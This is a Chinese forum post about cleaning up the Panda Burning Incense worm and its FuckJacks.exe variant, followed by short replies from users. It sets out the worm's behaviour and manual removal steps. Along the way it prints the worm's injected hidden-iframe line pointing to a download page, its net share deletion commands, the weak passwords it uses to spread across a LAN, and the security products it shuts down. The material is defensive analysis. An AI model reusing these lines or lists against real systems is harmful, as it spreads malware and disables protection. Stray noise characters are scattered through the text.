熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
& `3 v2 o: _. P7 K不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。

4 w7 b+ k! ]: }7 |7 f" h) I2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
9 d8 ]& M4 ^* _! O3 t% Z  S: j　　"svcshare"="%System%\drivers\spoclsv.exe"
; u4 b/ G! _& R
3.在各分区根目录生成病毒副本：　　X:\setup.exe
; ^. Z- Y  j* S　　X:\autorun.inf
$ f! W! h/ ?% G; Aautorun.inf内容：
[AutoRun]
　　OPEN=setup.exe
　　shellexecute=setup.exe
% X1 s- O# \4 u+ m) e# ]1 O　　shell\Auto\command=setup.exe
) M; b5 `; ?9 X; l" J/ P# e+ R$ Z
; J! }, D, J1 A- G- G4.使用net share命令关闭管理共享：
" s( q" r3 N1 V; m& l1 a( d9 ~' mcmd.exe /c net share X$ /del /y
( ^( Z3 ^8 u7 w+ ?6 G' f　　cmd.exe /c net share admin$ /del /y

6 S  j/ F8 F4 k! x7 t  M5.修改“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
+ }  H2 }! b$ T6 H, ?% K　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000000

/ w' w9 y' g% U2 ]3 F$ u6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
- q* ~3 S$ ]. h0 l+ B" O+ g防火墙进程
: W0 V8 F' A, ^" ^- \7 V1 w( KVirusScan
NOD32
# y% _# D# w& y网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
* {5 }) e2 n: y+ Q& \  {) k1 c( l- w; LQQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
* b; q& Y2 m# t  J" _" {, F( L7 dSymantec AntiVirus
1 s; U& }, S7 q: h! d7 u; {4 fDuba
Windows 任务管理器
esteem procs
: W) a$ r- g$ v绿鹰PC
  E7 F+ A% |) y, |* C密码防盗噬菌体木马辅助查找器
) n+ a% i( W0 P( aSystem Safety Monitor
" G1 E* n; }7 ]0 aWrapped gift Killer
$ m  s9 w! L5 M8 \# F( g& IWinsock Expert
' z3 g! a9 c% j! ]2 B, S* W游戏木马检测大师超级巡警
msctls_statusbar32
pjf(ustc)
IceSword
' u. G) J8 H1 g& M0 Q+ H8 {, T
7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
　　VsTskMgr.exe
6 S9 L# R2 G8 l; ~& w* R　　naPrdMgr.exe
　　UpdaterUI.exe
& n# S$ w3 Y* h! X4 i　　TBMon.exe
4 w( |# l# U  i  P/ a  m8 ^9 a) l　　scan32.exe
　　Ravmond.exe
# B4 F0 a! F  x, D　　CCenter.exe
　　RavTask.exe
0 m8 k7 J" G4 w1 _8 w4 l( @　　Rav.exe
　　Ravmon.exe
　　RavmonD.exe
　　RavStub.exe
7 _4 z$ s# Q# w* G; X　　KVXP.kxp
2 X/ w- `* z( U! ?% c, B' c　　KvMonXP.kxp
) S3 Y4 H+ C& m' O& N8 d. x　　KVCenter.kxp
　　KVSrvXP.exe
　　KRegEx.exe
　　UIHost.exe
; k% O) U3 _3 E　　TrojDie.kxp
　　FrogAgent.exe
　　Logo1_.exe
& ^/ p% J9 D) H/ F2 W5 G0 g. d　　Logo_1.exe
　　Rundl132.exe
$ E& |6 S* j2 _( Z( F) D
1 E5 L: d3 T" n4 x8.禁用安全软件相关服务：
Schedule
1 \! J* T: a+ `) k' u% r　　sharedaccess
　　RsCCenter
　　RsRavMon
　　KVWSC
　　KVSrvXP
8 O( m! `' \5 w5 K7 K4 S　　kavsvc
0 }1 Y# {- L3 X  e. V  @7 h　　AVP
; |* Z  x% V# f/ Q' {) s　　McAfeeFramework
　　McShield
8 Q4 F- K/ T, i5 m4 w　　McTaskManager
　　navapsvc
: V5 `  O8 p6 v" Z　　wscsvc
　　KPfwSvc
% {  M5 l" k8 m% m& S' s1 P　　SNDSrvc
　　ccProxy
　　ccEvtMgr
8 [9 l: l3 }+ Y# p- k　　ccSetMgr
8 k  X! Q  j, f2 \/ i* I　　SPBBCSvc
　　Symantec Core LC
6 P+ P! ]" J" P& f　　NPFMntor
& o5 g+ f  t/ ~  h3 r% m4 h　　MskService
　　FireSvc

  D, \1 y" Z4 ?8 H, v1 H9.删除安全软件相关启动项：
, u' J/ j) U7 f, \  _SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
8 m, m/ p$ i- f# [　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
8 X2 Z3 X. p2 ^4 Y3 x$ Y! d0 s( y6 B　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
Reporting Service
  y' C( f! r8 S4 G& h　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
+ ]. K2 K2 E$ j# T　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
+ J' o9 W/ A  `8 \<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
C:\WINDOWS
　　C:\WINNT
　　C:\system32
1 ]) g# v- T3 b2 ^! S5 {　　C:\Documents and Settings
4 n0 C$ E! p$ j0 D, Y　　C:\System Volume Information
　　C:\Recycled
　　Program Files\Windows NT
　　Program Files\WindowsUpdate
　　Program Files\Windows Media Player
$ e% `' ?' S% w. m　　Program Files\Outlook Express
: _% g+ Y1 j/ T, d1 {* l　　Program Files\Internet Explorer
　　Program Files\NetMeeting
　　Program Files\Common Files
　　Program Files\ComPlus Applications
/ u- a8 c" [6 s9 v- |/ N　　Program Files\Messenger
5 P8 I' J6 b2 E% d4 _　　Program Files\InstallShield Installation Information
　　Program Files\MSN
　　Program Files\Microsoft Frontpage
　　Program Files\Movie Maker
& f5 w, s( U6 F8 R, V　　Program Files\MSN Gamin Zone
11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
1 |" W1 _* @% c/ z4 o12.此外，病毒还会尝试删除GHO文件。
病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
: w! |& n' Y9 R6 T6 u! @3 a　　harley
- M8 A1 c7 E8 }& t　　golf
( `/ [$ |+ L6 @: l　　pussy
5 r" n! K/ E9 K$ V　　mustang
4 x& \7 O! Q  ^3 K$ o　　shadow
　　fish
　　qwerty
　　baseball
　　letmein
　　ccc
　　admin
# c0 y2 K2 C# G9 g6 d　　abc
1 L- X6 e/ Z/ ^6 Y& m: N* G　　pass
　　passwd
　　database
　　abcd
+ m$ k, U$ [9 E7 a　　abc123
! ]+ m6 y3 p! e6 M: k+ U7 @　　sybase
　　123qwe
  C2 q0 ~2 D! i2 |' `0 T9 k　　server
　　computer
　　super
　　123asd
　　ihavenopass
　　godblessyou
　　enable
/ g9 x6 A' Y5 F+ e) l　　alpha
- Q  \) x- n. l" @# Z　　1234qwer
　　123abc
　　aaa
　　patrick
7 D# t) E  ^* x. G　　pat
　　administrator
( y/ z; }0 g6 N　　root
　　sex
　　god
　　fuckyou
3 ]7 {9 G# t7 S0 [# T+ b# _　　fuck
　　test
　　test123
: p3 D; r. S# K/ r  r　　temp
# c% p' w1 Z) _$ f! i- X0 Z- J　　temp123
; s8 D0 t7 _: R& D　　win
　　asdf
* y; ?; v  j! P6 v' p% o7 H4 @& \　　pwd
# K0 S1 W. H8 b/ X' z　　qwer
- c; W; H  J; w' W　　yxcv
　　zxcv
8 O% k$ I0 S: q/ S5 v3 w, q& q4 q0 s: T$ M" D　　home
　　xxx
　　owner
: @& i' A$ v2 A+ d# T  \7 {　　login
6 Q- ]% b& B2 A* U* `: K) e　　Login
　　love
! u! w3 d9 t8 D" V　　mypc
　　mypc123
　　admin123
( i/ D) p" L# B" a　　mypass
' G- ~7 t' s1 i* Y# J　　mypass123
4 R& |4 M; m# A7 ]1 C( Q. p　　Administrator
　　Guest
  }6 R& c; n/ b: k' W  F$ i　　admin
4 R; D( G/ y3 u1 H　　Root
! ~2 \/ c5 R: l! m$ A
) @% w5 r) }! c. {病毒文件内含有这些信息：
, Y9 `# y7 u6 `* ^, v8 q1 m
whboy
　　***武*汉*男*生*感*染*下*载*者***
解决方案：
8 c1 ~, x6 Y" {" ~
1. 结束病毒进程：
%System%\drivers\spoclsv.exe
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
* W4 }9 e7 X0 D4 A- [/ b8 c“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。
  X+ s8 U9 p: k" A% Z$ w9 ~
- ]" j# k+ o+ e1 A+ V8 f* e- A2. 删除病毒文件：
9 r6 a# O6 g/ g5 ]* J0 F%System%\drivers\spoclsv.exe
% y3 G  p- ~" ]请注意区分病毒和系统文件。详见步骤1。
% x: [+ p1 F: ~1 Z* O0 ^4 p2 ]
* {0 @+ Z  C2 d' d  E4 C  S3 P3. 删除病毒启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
( C# L4 p" E2 M" _6 u　　"svcshare"="%System%\drivers\spoclsv.exe"
- _: D3 m1 R) ~1 \, G' b2 J
0 k0 `. q( @, ^4 _- G; t$ [" u4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
X:\setup.exe
8 a" p7 ?4 M1 y/ B　　X:\autorun.inf
0 T: U) ^  k: G% K; s
: j3 s, e4 k/ P" Z$ F5. 恢复被修改的“显示所有文件和文件夹”设置：
. M, l' B  X# W4 a& B[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
% }* \0 E' z. W; j. }& o　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
! t* I/ z% |% J9 S　　"CheckedValue"=dword:00000001
0 g! a$ q2 ~0 g( J7 Q  ^
, j$ z) |% K* _4 x8 g7 w+ @8 f6. 修复或重新安装被破坏的安全软件。

7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
金山熊猫烧香病毒专杀工具
) [+ Y. o+ u8 |, m9 m8 `7 bhttp://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
+ I$ a6 G5 M% A# d安天熊猫烧香病毒专杀工具
5 N" W* V8 |7 \' W1 yhttp://www.antiy.com/download/KillPP.scr
/ i, r, O# d' b+ t4 V- r8 b% v% W0 ~江民熊猫烧香病毒专杀工具
5 v8 F( j) A: s/ T  y/ ehttp://ec.jiangmin.com/test/PandaKiller.rar
瑞星熊猫烧香病毒专杀工具
' a: o9 O& }7 k7 W# r, B* l' ]/ ahttp://download.rising.com.cn/zsgj/NimayaKiller.scr
。也可用手动方法（见本文末）。

6 k2 C8 a6 ^. V# `0 Q: d8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。
' _' _! w4 T5 h
熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”

以下是数据安全实验室提供的信息与方法。
! u8 ?7 `2 r" I8 n; t* v病毒描述：
含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
; ?8 w' g& s' f* `; V! i
3 C/ b* L2 @7 o0 A病毒基本情况：

[文件信息]

病毒名: Virus.Win32.EvilPanda.a.ex$
　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
, b8 @: e3 ?  k4 g& N　　壳信息: 未知　　危害级别：高

病毒名: Flooder.Win32.FloodBots.a.ex$
9 @. N1 C9 M/ h- L0 b8 }  @. t　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
+ O! d7 ^9 L2 r+ x" a& g0 \, ^0 a　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
/ S, }: j. a2 ?9 n8 ~" C  m　　危害级别：高
6 v; N6 Z* u5 `, c/ ]% z4 ~8 H$ V
6 T5 k0 s* r% P/ W' a病毒行为：
- @6 ?. B* H1 `; K4 S% ^
' z( X& v) Y! ]( B' aVirus.Win32.EvilPanda.a.ex$ ：

3 Y( U3 u( c0 G, o" C/ E1、病毒体执行后，将自身拷贝到系统目录：
( }3 j2 ^# x: K, |" N4 z  ]/ {9 p%SystemRoot%\system32\FuckJacks.exe
/ ^2 i9 x) P3 B* r6 l- u
0 B! o8 Z2 L% X/ x, _/ z
! M8 s8 u# Q9 s; ?8 s6 L5 }0 Z　　2、添加注册表启动项目确保自身在系统重启动后被加载：
) J! r% c. x* q( ?6 J键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：FuckJacks
　　键值："C:WINDOWS\system32\FuckJacks.exe"

  T4 e5 {2 r  M2 e: F* n! Z键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
7 D5 L6 @; P0 E. _　　键名：svohost
　　键值："C:WINDOWS\system32\FuckJacks.exe"
) b% q0 c$ m9 S
& {5 v* W7 F# P$ [( a' ?3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
! o$ g8 g/ I+ k0 {C:autorun.inf    1KB    RHS
  |/ G; B# G! @2 b& u9 a! F: a3 R　　C:setup.exe    230KB    RHS

! k( W( K3 Y! p* l4、关闭众多杀毒软件和安全工具。

5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。
. O. a2 R; y0 T+ p3 P
# }7 T5 F! l4 }, k" o, U6、刷新bbs.qq.com，某QQ秀链接。
* V0 \% W7 E1 ?0 b  q9 m# W
& W. H* W. a2 o9 @; l6 X7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。
& V2 h3 _3 b" L1 K
$ }' U: ~, D* g; h5 G+ ~* WFlooder.Win32.FloodBots.a.ex$ ：

1、病毒体执行后，将自身拷贝到系统目录：
- Y8 t# Y% S; F/ L%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）
; Q+ i% h5 j% \* t7 Z
2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：Userinit
! z% M- z; l0 N. A9 H/ e2 o　　键值："C:WINDOWS\system32\SVCH0ST.exe"
* h4 H, `% q1 x4 [+ a! ~$ ^2 F
& l; w% z6 c2 b, {2 J3 T1 V3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
. O, g" W& F' Y* i) d( ^配置文件如下：
www。victim.net:3389
; I1 ~' J0 U, e& l5 [7 L( x  o3 p　　www。victim.net:80
2 E" [, y$ b. g/ J5 B　　www。victim.com:80
　　www。victim.net:80
8 z3 y$ U: c3 m. }) G  c! @( p　　1
9 p; l: h6 w# g4 W　　1
3 T. n( k' x& b! q6 m- \: ]　　120
　　50000
" x) }8 F8 N& q( A
解决方案：
2 I, {' ]8 s. K+ E( P; J
; N) g7 z# D' S, S9 g& H# m1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe
( Q1 V& }- u( }( t/ \+ I" f
) ~3 L) l0 P! J& ]5 \: s2 p3. 删除病毒文件：%System%\FuckJacks.exe

4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
, {" _, J2 P8 K% s　　X:\setup.exe

" f& m6 q' s( [) Q( Z5. 删除病毒创建的启动项：
% I8 N& H* g% U9 n9 o% L' ~[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
6 q3 I1 Z" D, B$ c4 \; ~; Y　　"FuckJacks"="%System%\FuckJacks.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
　　"svohost"="%System%\FuckJacks.exe"

  M4 [/ @2 L) K; a6. 修复或重新安装反病毒软件
) s6 h: z0 T" ^& p5 n" ?
7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。

( H: ?, A- L/ L5 Y& V  {2 I7 l8 a7 t手动恢复中毒文件（在虚拟机上通过测试，供参考）

1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口

! l, g8 f' Y% L  b8 j! l8 k3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。

- ?  T1 h0 ~# k4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。
, ^' _2 v! X- w0 }6 z, w" }, ?
+ E3 \$ L1 `# [6 o7 C5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

# J$ b0 p! P9 B( T就是将那个GHOST备份文件不要设置为后缀GHO

你换一个后缀不就没事了吗？
恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
存的片子和游戏全没了！！气死我了！！！
这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！